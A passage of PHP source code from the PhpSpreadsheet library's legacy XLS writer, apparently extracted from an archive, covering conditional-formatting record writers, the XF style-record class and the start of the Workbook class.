comprise $grbit if ($this->phpSheet->getSheetView()->getView() == SheetView::SHEETVIEW_PAGE_LAYOUT) { $fPageLayoutView = 1; } else { $fPageLayoutView = 0; } $fRulerVisible = 0; $fWhitespaceHidden = 0; $grbit = $fPageLayoutView; // 2 $grbit |= $fRulerVisible << 1; $grbit |= $fWhitespaceHidden << 3; $header = pack('vv', $record, $length); $data = pack('vvVVvv', $rt, $grbitFrt, 0x00000000, 0x00000000, $wScalvePLV, $grbit); $this->append($header . $data); } /** * Write CFRule Record. */ private function writeCFRule( ConditionalHelper $conditionalFormulaHelper, Conditional $conditional, string $cellRange ): void { $record = 0x01B1; // Record identifier $type = null; // Type of the CF $operatorType = null; // Comparison operator if ($conditional->getConditionType() == Conditional::CONDITION_EXPRESSION) { $type = 0x02; $operatorType = 0x00; } elseif ($conditional->getConditionType() == Conditional::CONDITION_CELLIS) { $type = 0x01; switch ($conditional->getOperatorType()) { case Conditional::OPERATOR_NONE: $operatorType = 0x00; break; case Conditional::OPERATOR_EQUAL: $operatorType = 0x03; break; case Conditional::OPERATOR_GREATERTHAN: $operatorType = 0x05; break; case Conditional::OPERATOR_GREATERTHANOREQUAL: $operatorType = 0x07; break; case Conditional::OPERATOR_LESSTHAN: $operatorType = 0x06; break; case Conditional::OPERATOR_LESSTHANOREQUAL: $operatorType = 0x08; break; case Conditional::OPERATOR_NOTEQUAL: $operatorType = 0x04; break; case Conditional::OPERATOR_BETWEEN: $operatorType = 0x01; break; // not OPERATOR_NOTBETWEEN 0x02 } } // $szValue1 : size of the formula data for first value or formula // $szValue2 : size of the formula data for second value or formula $arrConditions = $conditional->getConditions(); $numConditions = count($arrConditions); $szValue1 = 0x0000; $szValue2 = 0x0000; $operand1 = null; $operand2 = null; if ($numConditions === 1) { $conditionalFormulaHelper->processCondition($arrConditions[0], $cellRange); $szValue1 = $conditionalFormulaHelper->size(); $operand1 = $conditionalFormulaHelper->tokens(); } elseif ($numConditions === 2 && ($conditional->getOperatorType() === Conditional::OPERATOR_BETWEEN)) { $conditionalFormulaHelper->processCondition($arrConditions[0], $cellRange); $szValue1 = $conditionalFormulaHelper->size(); $operand1 = $conditionalFormulaHelper->tokens(); $conditionalFormulaHelper->processCondition($arrConditions[1], $cellRange); $szValue2 = $conditionalFormulaHelper->size(); $operand2 = $conditionalFormulaHelper->tokens(); } // $flags : Option flags // Alignment $bAlignHz = ($conditional->getStyle()->getAlignment()->getHorizontal() === null ? 1 : 0); $bAlignVt = ($conditional->getStyle()->getAlignment()->getVertical() === null ? 1 : 0); $bAlignWrapTx = ($conditional->getStyle()->getAlignment()->getWrapText() === false ? 1 : 0); $bTxRotation = ($conditional->getStyle()->getAlignment()->getTextRotation() === null ? 1 : 0); $bIndent = ($conditional->getStyle()->getAlignment()->getIndent() === 0 ? 1 : 0); $bShrinkToFit = ($conditional->getStyle()->getAlignment()->getShrinkToFit() === false ? 1 : 0); if ($bAlignHz == 0 || $bAlignVt == 0 || $bAlignWrapTx == 0 || $bTxRotation == 0 || $bIndent == 0 || $bShrinkToFit == 0) { $bFormatAlign = 1; } else { $bFormatAlign = 0; } // Protection $bProtLocked = ($conditional->getStyle()->getProtection()->getLocked() === null ? 1 : 0); $bProtHidden = ($conditional->getStyle()->getProtection()->getHidden() === null ? 1 : 0); if ($bProtLocked == 0 || $bProtHidden == 0) { $bFormatProt = 1; } else { $bFormatProt = 0; } // Border $bBorderLeft = ($conditional->getStyle()->getBorders()->getLeft()->getBorderStyle() !== Border::BORDER_OMIT) ? 1 : 0; $bBorderRight = ($conditional->getStyle()->getBorders()->getRight()->getBorderStyle() !== Border::BORDER_OMIT) ? 1 : 0; $bBorderTop = ($conditional->getStyle()->getBorders()->getTop()->getBorderStyle() !== Border::BORDER_OMIT) ? 1 : 0; $bBorderBottom = ($conditional->getStyle()->getBorders()->getBottom()->getBorderStyle() !== Border::BORDER_OMIT) ? 1 : 0; if ($bBorderLeft === 1 || $bBorderRight === 1 || $bBorderTop === 1 || $bBorderBottom === 1) { $bFormatBorder = 1; } else { $bFormatBorder = 0; } // Pattern $bFillStyle = ($conditional->getStyle()->getFill()->getFillType() === null ? 0 : 1); $bFillColor = ($conditional->getStyle()->getFill()->getStartColor()->getARGB() === null ? 0 : 1); $bFillColorBg = ($conditional->getStyle()->getFill()->getEndColor()->getARGB() === null ? 0 : 1); if ($bFillStyle == 1 || $bFillColor == 1 || $bFillColorBg == 1) { $bFormatFill = 1; } else { $bFormatFill = 0; } // Font if ( $conditional->getStyle()->getFont()->getName() !== null || $conditional->getStyle()->getFont()->getSize() !== null || $conditional->getStyle()->getFont()->getBold() !== null || $conditional->getStyle()->getFont()->getItalic() !== null || $conditional->getStyle()->getFont()->getSuperscript() !== null || $conditional->getStyle()->getFont()->getSubscript() !== null || $conditional->getStyle()->getFont()->getUnderline() !== null || $conditional->getStyle()->getFont()->getStrikethrough() !== null || $conditional->getStyle()->getFont()->getColor()->getARGB() !== null ) { $bFormatFont = 1; } else { $bFormatFont = 0; } // Alignment $flags = 0; $flags |= (1 == $bAlignHz ? 0x00000001 : 0); $flags |= (1 == $bAlignVt ? 0x00000002 : 0); $flags |= (1 == $bAlignWrapTx ? 0x00000004 : 0); $flags |= (1 == $bTxRotation ? 0x00000008 : 0); // Justify last line flag $flags |= (1 == self::$always1 ? 0x00000010 : 0); $flags |= (1 == $bIndent ? 0x00000020 : 0); $flags |= (1 == $bShrinkToFit ? 0x00000040 : 0); // Default $flags |= (1 == self::$always1 ? 0x00000080 : 0); // Protection $flags |= (1 == $bProtLocked ? 0x00000100 : 0); $flags |= (1 == $bProtHidden ? 0x00000200 : 0); // Border $flags |= (1 == $bBorderLeft ? 0x00000400 : 0); $flags |= (1 == $bBorderRight ? 0x00000800 : 0); $flags |= (1 == $bBorderTop ? 0x00001000 : 0); $flags |= (1 == $bBorderBottom ? 0x00002000 : 0); $flags |= (1 == self::$always1 ? 0x00004000 : 0); // Top left to Bottom right border $flags |= (1 == self::$always1 ? 0x00008000 : 0); // Bottom left to Top right border // Pattern $flags |= (1 == $bFillStyle ? 0x00010000 : 0); $flags |= (1 == $bFillColor ? 0x00020000 : 0); $flags |= (1 == $bFillColorBg ? 0x00040000 : 0); $flags |= (1 == self::$always1 ? 0x00380000 : 0); // Font $flags |= (1 == $bFormatFont ? 0x04000000 : 0); // Alignment: $flags |= (1 == $bFormatAlign ? 0x08000000 : 0); // Border $flags |= (1 == $bFormatBorder ? 0x10000000 : 0); // Pattern $flags |= (1 == $bFormatFill ? 0x20000000 : 0); // Protection $flags |= (1 == $bFormatProt ? 0x40000000 : 0); // Text direction $flags |= (1 == self::$always0 ? 0x80000000 : 0); $dataBlockFont = null; $dataBlockAlign = null; $dataBlockBorder = null; $dataBlockFill = null; // Data Blocks if ($bFormatFont == 1) { // Font Name if ($conditional->getStyle()->getFont()->getName() === null) { $dataBlockFont = pack('VVVVVVVV', 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000); $dataBlockFont .= pack('VVVVVVVV', 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000); } else { $dataBlockFont = StringHelper::UTF8toBIFF8UnicodeLong($conditional->getStyle()->getFont()->getName()); } // Font Size if ($conditional->getStyle()->getFont()->getSize() === null) { $dataBlockFont .= pack('V', 20 * 11); } else { $dataBlockFont .= pack('V', 20 * $conditional->getStyle()->getFont()->getSize()); } // Font Options $dataBlockFont .= pack('V', 0); // Font weight if ($conditional->getStyle()->getFont()->getBold() === true) { $dataBlockFont .= pack('v', 0x02BC); } else { $dataBlockFont .= pack('v', 0x0190); } // Escapement type if ($conditional->getStyle()->getFont()->getSubscript() === true) { $dataBlockFont .= pack('v', 0x02); $fontEscapement = 0; } elseif ($conditional->getStyle()->getFont()->getSuperscript() === true) { $dataBlockFont .= pack('v', 0x01); $fontEscapement = 0; } else { $dataBlockFont .= pack('v', 0x00); $fontEscapement = 1; } // Underline type switch ($conditional->getStyle()->getFont()->getUnderline()) { case \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_NONE: $dataBlockFont .= pack('C', 0x00); $fontUnderline = 0; break; case \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_DOUBLE: $dataBlockFont .= pack('C', 0x02); $fontUnderline = 0; break; case \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_DOUBLEACCOUNTING: $dataBlockFont .= pack('C', 0x22); $fontUnderline = 0; break; case \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_SINGLE: $dataBlockFont .= pack('C', 0x01); $fontUnderline = 0; break; case \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_SINGLEACCOUNTING: $dataBlockFont .= pack('C', 0x21); $fontUnderline = 0; break; default: $dataBlockFont .= pack('C', 0x00); $fontUnderline = 1; break; } // Not used (3) $dataBlockFont .= pack('vC', 0x0000, 0x00); // Font color index $colorIdx = Style\ColorMap::lookup($conditional->getStyle()->getFont()->getColor(), 0x00); $dataBlockFont .= pack('V', $colorIdx); // Not used (4) $dataBlockFont .= pack('V', 0x00000000); // Options flags for modified font attributes $optionsFlags = 0; $optionsFlagsBold = ($conditional->getStyle()->getFont()->getBold() === null ? 1 : 0); $optionsFlags |= (1 == $optionsFlagsBold ? 0x00000002 : 0); $optionsFlags |= (1 == self::$always1 ? 0x00000008 : 0); $optionsFlags |= (1 == self::$always1 ? 0x00000010 : 0); $optionsFlags |= (1 == self::$always0 ? 0x00000020 : 0); $optionsFlags |= (1 == self::$always1 ? 0x00000080 : 0); $dataBlockFont .= pack('V', $optionsFlags); // Escapement type $dataBlockFont .= pack('V', $fontEscapement); // Underline type $dataBlockFont .= pack('V', $fontUnderline); // Always $dataBlockFont .= pack('V', 0x00000000); // Always $dataBlockFont .= pack('V', 0x00000000); // Not used (8) $dataBlockFont .= pack('VV', 0x00000000, 0x00000000); // Always $dataBlockFont .= pack('v', 0x0001); } if ($bFormatAlign === 1) { // Alignment and text break $blockAlign = Style\CellAlignment::horizontal($conditional->getStyle()->getAlignment()); $blockAlign |= Style\CellAlignment::wrap($conditional->getStyle()->getAlignment()) << 3; $blockAlign |= Style\CellAlignment::vertical($conditional->getStyle()->getAlignment()) << 4; $blockAlign |= 0 << 7; // Text rotation angle $blockRotation = $conditional->getStyle()->getAlignment()->getTextRotation(); // Indentation $blockIndent = $conditional->getStyle()->getAlignment()->getIndent(); if ($conditional->getStyle()->getAlignment()->getShrinkToFit() === true) { $blockIndent |= 1 << 4; } else { $blockIndent |= 0 << 4; } $blockIndent |= 0 << 6; // Relative indentation $blockIndentRelative = 255; $dataBlockAlign = pack('CCvvv', $blockAlign, $blockRotation, $blockIndent, $blockIndentRelative, 0x0000); } if ($bFormatBorder === 1) { $blockLineStyle = Style\CellBorder::style($conditional->getStyle()->getBorders()->getLeft()); $blockLineStyle |= Style\CellBorder::style($conditional->getStyle()->getBorders()->getRight()) << 4; $blockLineStyle |= Style\CellBorder::style($conditional->getStyle()->getBorders()->getTop()) << 8; $blockLineStyle |= Style\CellBorder::style($conditional->getStyle()->getBorders()->getBottom()) << 12; // TODO writeCFRule() => $blockLineStyle => Index Color for left line // TODO writeCFRule() => $blockLineStyle => Index Color for right line // TODO writeCFRule() => $blockLineStyle => Top-left to bottom-right on/off // TODO writeCFRule() => $blockLineStyle => Bottom-left to top-right on/off $blockColor = 0; // TODO writeCFRule() => $blockColor => Index Color for top line // TODO writeCFRule() => $blockColor => Index Color for bottom line // TODO writeCFRule() => $blockColor => Index Color for diagonal line $blockColor |= Style\CellBorder::style($conditional->getStyle()->getBorders()->getDiagonal()) << 21; $dataBlockBorder = pack('vv', $blockLineStyle, $blockColor); } if ($bFormatFill === 1) { // Fill Pattern Style $blockFillPatternStyle = Style\CellFill::style($conditional->getStyle()->getFill()); // Background Color $colorIdxBg = Style\ColorMap::lookup($conditional->getStyle()->getFill()->getStartColor(), 0x41); // Foreground Color $colorIdxFg = Style\ColorMap::lookup($conditional->getStyle()->getFill()->getEndColor(), 0x40); $dataBlockFill = pack('v', $blockFillPatternStyle); $dataBlockFill .= pack('v', $colorIdxFg | ($colorIdxBg << 7)); } $data = pack('CCvvVv', $type, $operatorType, $szValue1, $szValue2, $flags, 0x0000); if ($bFormatFont === 1) { // Block Formatting : OK $data .= $dataBlockFont; } if ($bFormatAlign === 1) { $data .= $dataBlockAlign; } if ($bFormatBorder === 1) { $data .= $dataBlockBorder; } if ($bFormatFill === 1) { // Block Formatting : OK $data .= $dataBlockFill; } if ($bFormatProt == 1) { $data .= $this->getDataBlockProtection($conditional); } if ($operand1 !== null) { $data .= $operand1; } if ($operand2 !== null) { $data .= $operand2; } $header = pack('vv', $record, strlen($data)); $this->append($header . $data); } /** * Write CFHeader record. * * @param Conditional[] $conditionalStyles */ private function writeCFHeader(string $cellCoordinate, array $conditionalStyles): bool { $record = 0x01B0; // Record identifier $length = 0x0016; // Bytes to follow $numColumnMin = null; $numColumnMax = null; $numRowMin = null; $numRowMax = null; $arrConditional = []; foreach ($conditionalStyles as $conditional) { if (!in_array($conditional->getHashCode(), $arrConditional)) { $arrConditional[] = $conditional->getHashCode(); } // Cells $rangeCoordinates = Coordinate::rangeBoundaries($cellCoordinate); if ($numColumnMin === null || ($numColumnMin > $rangeCoordinates[0][0])) { $numColumnMin = $rangeCoordinates[0][0]; } if ($numColumnMax === null || ($numColumnMax < $rangeCoordinates[1][0])) { $numColumnMax = $rangeCoordinates[1][0]; } if ($numRowMin === null || ($numRowMin > $rangeCoordinates[0][1])) { $numRowMin = (int) $rangeCoordinates[0][1]; } if ($numRowMax === null || ($numRowMax < $rangeCoordinates[1][1])) { $numRowMax = (int) $rangeCoordinates[1][1]; } } if (count($arrConditional) === 0) { return false; } $needRedraw = 1; $cellRange = pack('vvvv', $numRowMin - 1, $numRowMax - 1, $numColumnMin - 1, $numColumnMax - 1); $header = pack('vv', $record, $length); $data = pack('vv', count($arrConditional), $needRedraw); $data .= $cellRange; $data .= pack('v', 0x0001); $data .= $cellRange; $this->append($header . $data); return true; } private function getDataBlockProtection(Conditional $conditional): int { $dataBlockProtection = 0; if ($conditional->getStyle()->getProtection()->getLocked() == Protection::PROTECTION_PROTECTED) { $dataBlockProtection = 1; } if ($conditional->getStyle()->getProtection()->getHidden() == Protection::PROTECTION_PROTECTED) { $dataBlockProtection = 1 << 1; } return $dataBlockProtection; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Xf.php000064400000027312151676714400020364 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Borders; use PhpOffice\PhpSpreadsheet\Style\Protection; use PhpOffice\PhpSpreadsheet\Style\Style; use PhpOffice\PhpSpreadsheet\Writer\Xls\Style\CellAlignment; use PhpOffice\PhpSpreadsheet\Writer\Xls\Style\CellBorder; use PhpOffice\PhpSpreadsheet\Writer\Xls\Style\CellFill; // Original file header of PEAR::Spreadsheet_Excel_Writer_Format (used as the base for this class): // ----------------------------------------------------------------------------------------- // /* // * Module written/ported by Xavier Noguer <xnoguer@rezebra.com> // * // * The majority of this is _NOT_ my code. I simply ported it from the // * PERL Spreadsheet::WriteExcel module. // * // * The author of the Spreadsheet::WriteExcel module is John McNamara // * <jmcnamara@cpan.org> // * // * I _DO_ maintain this code, and John McNamara has nothing to do with the // * porting of this code to PHP. Any questions directly related to this // * class library should be directed to me. // * // * License Information: // * // * Spreadsheet_Excel_Writer: A library for generating Excel Spreadsheets // * Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com // * // * This library is free software; you can redistribute it and/or // * modify it under the terms of the GNU Lesser General Public // * License as published by the Free Software Foundation; either // * version 2.1 of the License, or (at your option) any later version. // * // * This library is distributed in the hope that it will be useful, // * but WITHOUT ANY WARRANTY; without even the implied warranty of // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // * Lesser General Public License for more details. // * // * You should have received a copy of the GNU Lesser General Public // * License along with this library; if not, write to the Free Software // * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // */ class Xf { /** * Style XF or a cell XF ? */ private bool $isStyleXf; /** * Index to the FONT record. Index 4 does not exist. */ private int $fontIndex; /** * An index (2 bytes) to a FORMAT record (number format). */ private int $numberFormatIndex; /** * 1 bit, apparently not used. */ private int $textJustLast; /** * The cell's foreground color. */ private int $foregroundColor; /** * The cell's background color. */ private int $backgroundColor; /** * Color of the bottom border of the cell. */ private int $bottomBorderColor; /** * Color of the top border of the cell. */ private int $topBorderColor; /** * Color of the left border of the cell. */ private int $leftBorderColor; /** * Color of the right border of the cell. */ private int $rightBorderColor; //private $diag; // theoretically int, not yet implemented private int $diagColor; private Style $style; /** * Constructor. * * @param Style $style The XF format */ public function __construct(Style $style) { $this->isStyleXf = false; $this->fontIndex = 0; $this->numberFormatIndex = 0; $this->textJustLast = 0; $this->foregroundColor = 0x40; $this->backgroundColor = 0x41; //$this->diag = 0; $this->bottomBorderColor = 0x40; $this->topBorderColor = 0x40; $this->leftBorderColor = 0x40; $this->rightBorderColor = 0x40; $this->diagColor = 0x40; $this->style = $style; } /** * Generate an Excel BIFF XF record (style or cell). * * @return string The XF record */ public function writeXf(): string { // Set the type of the XF record and some of the attributes. if ($this->isStyleXf) { $style = 0xFFF5; } else { $style = self::mapLocked($this->style->getProtection()->getLocked()); $style |= self::mapHidden($this->style->getProtection()->getHidden()) << 1; } // Flags to indicate if attributes have been set. $atr_num = ($this->numberFormatIndex != 0) ? 1 : 0; $atr_fnt = ($this->fontIndex != 0) ? 1 : 0; $atr_alc = ((int) $this->style->getAlignment()->getWrapText()) ? 1 : 0; $atr_bdr = (CellBorder::style($this->style->getBorders()->getBottom()) || CellBorder::style($this->style->getBorders()->getTop()) || CellBorder::style($this->style->getBorders()->getLeft()) || CellBorder::style($this->style->getBorders()->getRight())) ? 1 : 0; $atr_pat = ($this->foregroundColor != 0x40) ? 1 : 0; $atr_pat = ($this->backgroundColor != 0x41) ? 1 : $atr_pat; $atr_pat = CellFill::style($this->style->getFill()) ? 1 : $atr_pat; $atr_prot = self::mapLocked($this->style->getProtection()->getLocked()) | self::mapHidden($this->style->getProtection()->getHidden()); // Zero the default border colour if the border has not been set. if (CellBorder::style($this->style->getBorders()->getBottom()) == 0) { $this->bottomBorderColor = 0; } if (CellBorder::style($this->style->getBorders()->getTop()) == 0) { $this->topBorderColor = 0; } if (CellBorder::style($this->style->getBorders()->getRight()) == 0) { $this->rightBorderColor = 0; } if (CellBorder::style($this->style->getBorders()->getLeft()) == 0) { $this->leftBorderColor = 0; } if (CellBorder::style($this->style->getBorders()->getDiagonal()) == 0) { $this->diagColor = 0; } $record = 0x00E0; // Record identifier $length = 0x0014; // Number of bytes to follow $ifnt = $this->fontIndex; // Index to FONT record $ifmt = $this->numberFormatIndex; // Index to FORMAT record // Alignment $align = CellAlignment::horizontal($this->style->getAlignment()); $align |= CellAlignment::wrap($this->style->getAlignment()) << 3; $align |= CellAlignment::vertical($this->style->getAlignment()) << 4; $align |= $this->textJustLast << 7; $used_attrib = $atr_num << 2; $used_attrib |= $atr_fnt << 3; $used_attrib |= $atr_alc << 4; $used_attrib |= $atr_bdr << 5; $used_attrib |= $atr_pat << 6; $used_attrib |= $atr_prot << 7; $icv = $this->foregroundColor; // fg and bg pattern colors $icv |= $this->backgroundColor << 7; $border1 = CellBorder::style($this->style->getBorders()->getLeft()); // Border line style and color $border1 |= CellBorder::style($this->style->getBorders()->getRight()) << 4; $border1 |= CellBorder::style($this->style->getBorders()->getTop()) << 8; $border1 |= CellBorder::style($this->style->getBorders()->getBottom()) << 12; $border1 |= $this->leftBorderColor << 16; $border1 |= $this->rightBorderColor << 23; $diagonalDirection = $this->style->getBorders()->getDiagonalDirection(); $diag_tl_to_rb = $diagonalDirection == Borders::DIAGONAL_BOTH || $diagonalDirection == Borders::DIAGONAL_DOWN; $diag_tr_to_lb = $diagonalDirection == Borders::DIAGONAL_BOTH || $diagonalDirection == Borders::DIAGONAL_UP; $border1 |= $diag_tl_to_rb << 30; $border1 |= $diag_tr_to_lb << 31; $border2 = $this->topBorderColor; // Border color $border2 |= $this->bottomBorderColor << 7; $border2 |= $this->diagColor << 14; $border2 |= CellBorder::style($this->style->getBorders()->getDiagonal()) << 21; $border2 |= CellFill::style($this->style->getFill()) << 26; $header = pack('vv', $record, $length); //BIFF8 options: identation, shrinkToFit and text direction $biff8_options = $this->style->getAlignment()->getIndent(); $biff8_options |= (int) $this->style->getAlignment()->getShrinkToFit() << 4; $data = pack('vvvC', $ifnt, $ifmt, $style, $align); $data .= pack('CCC', self::mapTextRotation((int) $this->style->getAlignment()->getTextRotation()), $biff8_options, $used_attrib); $data .= pack('VVv', $border1, $border2, $icv); return $header . $data; } /** * Is this a style XF ? */ public function setIsStyleXf(bool $value): void { $this->isStyleXf = $value; } /** * Sets the cell's bottom border color. * * @param int $colorIndex Color index */ public function setBottomColor(int $colorIndex): void { $this->bottomBorderColor = $colorIndex; } /** * Sets the cell's top border color. * * @param int $colorIndex Color index */ public function setTopColor(int $colorIndex): void { $this->topBorderColor = $colorIndex; } /** * Sets the cell's left border color. * * @param int $colorIndex Color index */ public function setLeftColor(int $colorIndex): void { $this->leftBorderColor = $colorIndex; } /** * Sets the cell's right border color. * * @param int $colorIndex Color index */ public function setRightColor(int $colorIndex): void { $this->rightBorderColor = $colorIndex; } /** * Sets the cell's diagonal border color. * * @param int $colorIndex Color index */ public function setDiagColor(int $colorIndex): void { $this->diagColor = $colorIndex; } /** * Sets the cell's foreground color. * * @param int $colorIndex Color index */ public function setFgColor(int $colorIndex): void { $this->foregroundColor = $colorIndex; } /** * Sets the cell's background color. * * @param int $colorIndex Color index */ public function setBgColor(int $colorIndex): void { $this->backgroundColor = $colorIndex; } /** * Sets the index to the number format record * It can be date, time, currency, etc... * * @param int $numberFormatIndex Index to format record */ public function setNumberFormatIndex(int $numberFormatIndex): void { $this->numberFormatIndex = $numberFormatIndex; } /** * Set the font index. * * @param int $value Font index, note that value 4 does not exist */ public function setFontIndex(int $value): void { $this->fontIndex = $value; } /** * Map to BIFF8 codes for text rotation angle. */ private static function mapTextRotation(int $textRotation): int { if ($textRotation >= 0) { return $textRotation; } if ($textRotation == Alignment::TEXTROTATION_STACK_PHPSPREADSHEET) { return Alignment::TEXTROTATION_STACK_EXCEL; } return 90 - $textRotation; } private const LOCK_ARRAY = [ Protection::PROTECTION_INHERIT => 1, Protection::PROTECTION_PROTECTED => 1, Protection::PROTECTION_UNPROTECTED => 0, ]; /** * Map locked values. */ private static function mapLocked(?string $locked): int { return $locked !== null && array_key_exists($locked, self::LOCK_ARRAY) ? self::LOCK_ARRAY[$locked] : 1; } private const HIDDEN_ARRAY = [ Protection::PROTECTION_INHERIT => 0, Protection::PROTECTION_PROTECTED => 1, Protection::PROTECTION_UNPROTECTED => 0, ]; /** * Map hidden. */ private static function mapHidden(?string $hidden): int { return $hidden !== null && array_key_exists($hidden, self::HIDDEN_ARRAY) ? self::HIDDEN_ARRAY[$hidden] : 0; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Workbook.php000064400000117766151676714400021621 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Style; // Original file header of PEAR::Spreadsheet_Excel_Writer_Workbook (used as the base for this class): // ----------------------------------------------------------------------------------------- // /* // * Module written/ported by Xavier Noguer <xnoguer@rezebra.com> // * // * The majority of this is _NOT_ my code. I simply ported it from the // * PERL Spreadsheet::WriteExcel module. // * // * The author of the Spreadsheet::WriteExcel module is John McNamara // * <jmcnamara@cpan.org> // * // * I _DO_ maintain this code, and John McNamara has nothing to do with the // * porting of this code to PHP. Any questions directly related to this // * class library should be directed to me. // * // * License Information: // * // * Spreadsheet_Excel_Writer: A library for generating Excel Spreadsheets // * Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com // * // * This library is free software; you can redistribute it and/or // * modify it under the terms of the GNU Lesser General Public // * License as published by the Free Software Foundation; either // * version 2.1 of the License, or (at your option) any later version. // * // * This library is distributed in the hope that it will be useful, // * but WITHOUT ANY WARRANTY; without even the implied warranty of // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // * Lesser General Public License for more details. // * // * You should have received a copy of the GNU Lesser General Public // * License along with this library; if not, write to the Free Software // * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // */ class Workbook extends BIFFwriter { /** * Formula parser. */ private Parser $parser; /* * The BIFF file size for the workbook. Not currently used. * * @see calcSheetOffsets() */ //private int $biffSize; /** * XF Writers. * * @var Xf[] */ private array $xfWriters = []; /** * Array containing the colour palette. */ private array $palette; /** * The codepage indicates the text encoding used for strings. */ private int $codepage; /** * The country code used for localization. */ private int $countryCode; /** * Workbook. */ private Spreadsheet $spreadsheet; /** * Fonts writers. * * @var Font[] */ private array $fontWriters = []; /** * Added fonts. Maps from font's hash => index in workbook. */ private array $addedFonts = []; /** * Shared number formats. */ private array $numberFormats = []; /** * Added number formats. Maps from numberFormat's hash => index in workbook. */ private array $addedNumberFormats = []; /** * Sizes of the binary worksheet streams. */ private array $worksheetSizes = []; /** * Offsets of the binary worksheet streams relative to the start of the global workbook stream. */ private array $worksheetOffsets = []; /** * Total number of shared strings in workbook. */ private int $stringTotal; /** * Number of unique shared strings in workbook. */ private int $stringUnique; /** * Array of unique shared strings in workbook. */ private array $stringTable; /** * Color cache. */ private array $colors; /** * Escher object corresponding to MSODRAWINGGROUP. */ private ?\PhpOffice\PhpSpreadsheet\Shared\Escher $escher = null; /** * Class constructor. * * @param Spreadsheet $spreadsheet The Workbook * @param int $str_total Total number of strings * @param int $str_unique Total number of unique strings * @param array $str_table String Table * @param array $colors Colour Table * @param Parser $parser The formula parser created for the Workbook */ public function __construct(Spreadsheet $spreadsheet, int &$str_total, int &$str_unique, array &$str_table, array &$colors, Parser $parser) { // It needs to call its parent's constructor explicitly parent::__construct(); $this->parser = $parser; //$this->biffSize = 0; $this->palette = []; $this->countryCode = -1; $this->stringTotal = &$str_total; $this->stringUnique = &$str_unique; $this->stringTable = &$str_table; $this->colors = &$colors; $this->setPaletteXl97(); $this->spreadsheet = $spreadsheet; $this->codepage = 0x04B0; // Add empty sheets and Build color cache $countSheets = $spreadsheet->getSheetCount(); for ($i = 0; $i < $countSheets; ++$i) { $phpSheet = $spreadsheet->getSheet($i); $this->parser->setExtSheet($phpSheet->getTitle(), $i); // Register worksheet name with parser $supbook_index = 0x00; $ref = pack('vvv', $supbook_index, $i, $i); $this->parser->references[] = $ref; // Register reference with parser // Sheet tab colors? if ($phpSheet->isTabColorSet()) { $this->addColor($phpSheet->getTabColor()->getRGB()); } } } /** * Add a new XF writer. * * @param bool $isStyleXf Is it a style XF? * * @return int Index to XF record */ public function addXfWriter(Style $style, bool $isStyleXf = false): int { $xfWriter = new Xf($style); $xfWriter->setIsStyleXf($isStyleXf); // Add the font if not already added $fontIndex = $this->addFont($style->getFont()); // Assign the font index to the xf record $xfWriter->setFontIndex($fontIndex); // Background colors, best to treat these after the font so black will come after white in custom palette $xfWriter->setFgColor($this->addColor($style->getFill()->getStartColor()->getRGB())); $xfWriter->setBgColor($this->addColor($style->getFill()->getEndColor()->getRGB())); $xfWriter->setBottomColor($this->addColor($style->getBorders()->getBottom()->getColor()->getRGB())); $xfWriter->setTopColor($this->addColor($style->getBorders()->getTop()->getColor()->getRGB())); $xfWriter->setRightColor($this->addColor($style->getBorders()->getRight()->getColor()->getRGB())); $xfWriter->setLeftColor($this->addColor($style->getBorders()->getLeft()->getColor()->getRGB())); $xfWriter->setDiagColor($this->addColor($style->getBorders()->getDiagonal()->getColor()->getRGB())); // Add the number format if it is not a built-in one and not already added if ($style->getNumberFormat()->getBuiltInFormatCode() === false) { $numberFormatHashCode = $style->getNumberFormat()->getHashCode(); if (isset($this->addedNumberFormats[$numberFormatHashCode])) { $numberFormatIndex = $this->addedNumberFormats[$numberFormatHashCode]; } else { $numberFormatIndex = 164 + count($this->numberFormats); $this->numberFormats[$numberFormatIndex] = $style->getNumberFormat(); $this->addedNumberFormats[$numberFormatHashCode] = $numberFormatIndex; } } else { $numberFormatIndex = (int) $style->getNumberFormat()->getBuiltInFormatCode(); } // Assign the number format index to xf record $xfWriter->setNumberFormatIndex($numberFormatIndex); $this->xfWriters[] = $xfWriter; return count($this->xfWriters) - 1; } /** * Add a font to added fonts. * * @return int Index to FONT record */ public function addFont(\PhpOffice\PhpSpreadsheet\Style\Font $font): int { $fontHashCode = $font->getHashCode(); if (isset($this->addedFonts[$fontHashCode])) { $fontIndex = $this->addedFonts[$fontHashCode]; } else { $countFonts = count($this->fontWriters); $fontIndex = ($countFonts < 4) ? $countFonts : $countFonts + 1; $fontWriter = new Font($font); $fontWriter->setColorIndex($this->addColor($font->getColor()->getRGB())); $this->fontWriters[] = $fontWriter; $this->addedFonts[$fontHashCode] = $fontIndex; } return $fontIndex; } /** * Alter color palette adding a custom color. * * @param string $rgb E.g. 'FF00AA' * * @return int Color index */ private function addColor(string $rgb): int { if (!isset($this->colors[$rgb])) { $color = [ 